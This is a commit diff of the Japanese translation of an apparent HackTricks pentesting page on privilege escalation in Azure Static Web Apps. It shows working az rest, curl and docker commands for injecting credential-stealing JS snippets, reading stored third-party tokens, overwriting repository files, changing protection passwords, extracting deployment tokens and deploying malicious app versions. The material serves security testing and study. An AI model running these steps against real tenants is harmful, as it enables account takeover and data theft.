Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-01-18 11:54:15 +00:00
parent 24c0aa1ea5
commit 9dabdd9fda
@@ -4,7 +4,7 @@
## Azure Static Web Apps
このサービスに関する詳細情報は、以下を確認してください:
このサービスの詳細については次を参照してください:
{{#ref}}
../az-services/az-static-web-apps.md
@@ -12,9 +12,9 @@
### Microsoft.Web/staticSites/snippets/write
スニペットを作成することで、静的ウェブページに任意のHTMLコードを読み込ませることが可能です。これにより、攻撃者はウェブアプリ内にJSコードを注入し、資格情報やメモリニックキー(web3ウォレット内)などの機密情報を盗むことができます。
snippet を作成することで、静的ウェブページに任意の HTML コードを読み込ませることが可能です。これにより、攻撃者は web app 内に JS コードを注入し、credentials や mnemonic keysweb3 wallets 内)などの機密情報を窃取できる可能性があります。
以下のコマンドは、ウェブアプリによって常に読み込まれるスニペットを作成します::
のコマンドは、常に web app に読み込まれる snippet を作成します::
```bash
az rest \
--method PUT \
@@ -31,22 +31,22 @@ az rest \
}
}'
```
### 設定されたサードパーティの資格情報を読み取る
### 設定済みのサードパーティ認証情報を読み取る
App Service セクションで説明したように:
As explained in the App Service section:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
次のコマンドを実行することで、現在のアカウントに設定されている**サードパーティの資格情報**を読み取ることができます。たとえば、異なるユーザーに設定されているGithubの資格情報がある場合、別のユーザーからトークンにアクセスすることはできません
次のコマンドを実行する、現在のアカウントに設定されている**サードパーティの認証情報を読み取る**ことができます。えば、Github の認証情報が別のユーザーに設定されている場合、そのユーザーとは別のユーザーからトークンにアクセスできない点に注意してください
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
このコマンドはGithub、Bitbucket、Dropbox、およびOneDriveのトークンを返します。
このコマンドは Github、Bitbucket、Dropbox、OneDrive の tokens を返します。
ここにトークンを確認するためのいくつかのコマンド例があります
以下に tokens を確認するためのコマンド例を示します:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
@@ -71,12 +71,12 @@ https://graph.microsoft.com/v1.0/me/drive/root/children
```
### ファイルの上書き - ルート、HTML、JSの上書き...
Azureを通じて**アプリを含むGithubリポジトリ内のファイルを上書きする**ことが可能であり、**Githubトークン**を使用して以下のようなリクエストを送信することで、上書きするファイルのパス、ファイルの内容、コミットメッセージを指定できます。
Azureが**Github token**を保有している場合、次のようなリクエストを送信することで、アプリを含む**Githubリポジトリ内のファイルを上書き**することが可能です。このリクエストでは、上書きするファイルのパス、ファイルの内容、コミットメッセージを指定ます。
攻撃者はこれを悪用して、基本的に**ウェブアプリの内容を変更**し、悪意のあるコンテンツを提供したり(資格情報、ニーモニックキーを盗むなど)、`staticwebapp.config.json`ファイルを上書きすることで特定のパスを自分のサーバーに**再ルーティング**したりすることができます。
This can be abused by attackers to basically **change the content of the web app** to serve malicious content (steal credentials, mnemonic keys...) or just to **re-route certain paths** to their own servers by overwriting the `staticwebapp.config.json` file.
> [!WARNING]
> 攻撃者が何らかの方法でGithubリポジトリを侵害することに成功した場合、Githubから直接ファイルを上書きすることも可能であることに注意してください。
> 攻撃者が何らかの方法でGithubリポジトリを乗っ取った場合、Githubから直接ファイルを上書きすることもできる点に注意してください。
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
@@ -97,9 +97,9 @@ curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
### Microsoft.Web/staticSites/config/write
この権限を持つことで、静的ウェブアプリを保護している**パスワードを変更**したり、次のようなリクエストを送信することで、すべての環境の保護を解除することが可能です:
この権限があれば、次のようなリクエストを送ることで、保護されている static web app の **パスワードを変更**したり、すべての環境の保護を解除したりすることが可能です:
```bash
# Change password
az rest --method put \
@@ -133,32 +133,38 @@ az rest --method put \
```
### Microsoft.Web/staticSites/listSecrets/action
この権限は、静的アプリの**APIキーデプロイメントトークン**を取得することを許可します
この権限により static app の **API key deployment token** を取得できます
az rest を使用して:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
次に、**トークンを使用してアプリを更新するために**、以下のコマンドを実行できます。このコマンドは、**Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) がどのように機能するかを確認して抽出したもので**、Azureがデフォルトで使用するものです。したがって、画像やパラメータは将来的に変更される可能性があります。
AzCLI を使用する:
```bash
az staticwebapp secrets list --name <appname> --resource-group <RG>
```
Then, in order to **update an app using the token** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and paarements could change in the future.
> [!TIP]
> アプリをデプロイするには、[https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) の**`swa`**ツールを使用するか、以下の手順に従ってください
> アプリをデプロイするには、[https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token](https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token) の **`swa`** ツールを使か、以下の手順に従ってください:
1. リポジトリをダウンロードします [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (またはデプロイしたいのリポジトリ)し、`cd react-basic`を実行します。
1. リポジトリ [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic)(またはデプロイしたい任意のリポジトリ)をダウンロードし、`cd react-basic` を実行します。
2. デプロイしたいコードを変更します。
3. `<api-token>`を変更することを忘れずに)実行してデプロイします
3. 次のコマンドを実行してデプロイします`<api-token>` を変更するを忘れないでください)
```bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
> [!WARNING]
> トークンを持っていても、**Deployment Authorization Policy****Github**に設定されている場合、アプリをデプロイすることはできません。トークンを使用するには、デプロイメント方法をAPIトークンを使用するように変更するために、`Microsoft.Web/staticSites/write`の権限が必要です。
> トークンを持っていても、**Deployment Authorization Policy****Github** に設定されている場合、アプリをデプロイすることはできません。トークンを使用するには、デプロイ方法を APi トークンを使ように変更するための権限 `Microsoft.Web/staticSites/write` が必要です。
### Microsoft.Web/staticSites/write
この権限を持つことで、**静的ウェブアプリのソースを別のGithubリポジトリに変更する**ことが可能ですが、これはGithub Actionから行う必要があるため、自動的にはプロビジョニングされません
この権限があれば、**static web app のソースを別の Github リポジトリに変更することが可能**ですが、自動的にプロビジョニングされるわけではありません。これは Github Action から行う必要があります
ただし、**Deployment Authorization Policy****Github**に設定されている場合、**新しいソースリポジトリからアプリを更新することが可能です!**。
しかし、**Deployment Authotization Policy****Github** に設定されている場合、**新しいソースリポジトリから app を更新することが可能です!**。
**Deployment Authorization Policy**がGithubに設定されていない場合、同じ権限`Microsoft.Web/staticSites/write`使用して変更できます。
もし **Deployment Authorization Policy**Github に設定されていない場合、同じ権限 `Microsoft.Web/staticSites/write` でそれを変更できます。
```bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
@@ -181,7 +187,7 @@ az rest --method PATCH \
}
}'
```
アプリをデプロイするための例のGithub Action:
アプリをデプロイするための Github Action の例:
```yaml
name: Azure Static Web Apps CI/CD
@@ -244,16 +250,16 @@ action: "close"
```
### Microsoft.Web/staticSites/resetapikey/action
この権限を持つことで、**静的ウェブアプリのAPIキーをリセットする**ことが可能になり、アプリを自動的にデプロイするワークフローをDoS攻撃する可能性があります。
この権限があれば、**reset the API key of the static web app** を行うことができ、アプリを自動的にデプロイする workflows を DoSing してしまう可能性があります。
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
### Microsoft.Web/staticSites/createUserInvitation/action
この権限は、特定の役割を持つユーザーに対して、静的ウェブアプリ内の保護されたパスにアクセスするための**招待を作成する**ことを許可します。
この権限は、特定のロールを付与した状態で static web app 内の保護されたパスにアクセスするための **ユーザーへの招待を作成する** ことを許可します。
ログインは`/.auth/login/github`GitHub用)や`/.auth/login/aad`Entra ID用)などのパスにあります。ユーザーは次のコマンドで招待できます:
ログインは `/.auth/login/github`github用)や `/.auth/login/aad`Entra ID用)などのパスにありユーザーは次のコマンドで招待できます:
```bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
@@ -264,13 +270,14 @@ az staticwebapp users invite \
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app
```
### Pull Requests
### プルリクエスト
デフォルトでは、同じリポジトリ内のブランチからのプルリクエストは、ステージング環境で自動的にコンパイルおよびビルドされます。これは、リポジトリに対する書き込みアクセスを持つ攻撃者によって悪用される可能性がありますが、プロダクションブランチ(通常 `main`)のブランチ保護を回避できない場合、**ステージングURL悪意のあるアプリのバージョンをデプロイする**ことができます。
デフォルトでは、同じリポジトリ内のブランチからの Pull Requests は自動的にコンパイルされ、ステージング環境でビルドされます。これは、リポジトリに対する書き込み権限を持っているが本番ブランチ(通常 `main`)のブランチ保護を回避できない攻撃者によって悪用され、ステージング URL に**悪意のあるバージョンのアプリをデプロイする**ことにつながる可能性があります。
ステージングURLは次の形式です: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>`えば: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
ステージング URL の形式は次のとおりです: `https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain>` 例: `https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net`
> [!TIP]
> デフォルトでは、外部PRはリポジトリに少なくとも1つのPRマージされるまでワークフローを実行しません。攻撃者はリポジトリに有効なPRを送信し、**その後悪意のあるPRをリポジトリに送信してステージング環境に悪意のあるアプリをデプロイする**ことができます。しかし、予期しない保護があります。静的ウェブアプリにデプロイするためのデフォルトのGithub Actionは、デプロイメントトークンを含むシークレットへのアクセスが必要です(例えば `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`。これは、外部PRこのシークレットにアクセスできず、外部PRワークフローを変更して任意のトークンをここに配置することできないため、**この攻撃は実際には機能しません**。
> デフォルトでは、外部PR はリポジトリに少なくとも 1 つの PRマージしていない限りワークフローを実行しない点に注意してください。攻撃者はまず有効な PR をリポジトリに送信し、その後悪意のある PR を送ってステージング環境に悪意のあるアプリをデプロイする可能性があります。とはいえ、予期せぬ保護があります。static web app にデプロイするためのデフォルトの GitHub Action は、デプロイトークンを含むシークレット(例えば `secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F`へのアクセスを必要とします。これは IDToken を使ったデプロイであっても同様です。したがって、外部 PRこのシークレットにアクセスできず、外部 PR が承認されない限りワークフローを変更して任意のトークンを配置することできないため、**この攻撃は実際には機能しません**。
{{#include ../../../banners/hacktricks-training.md}}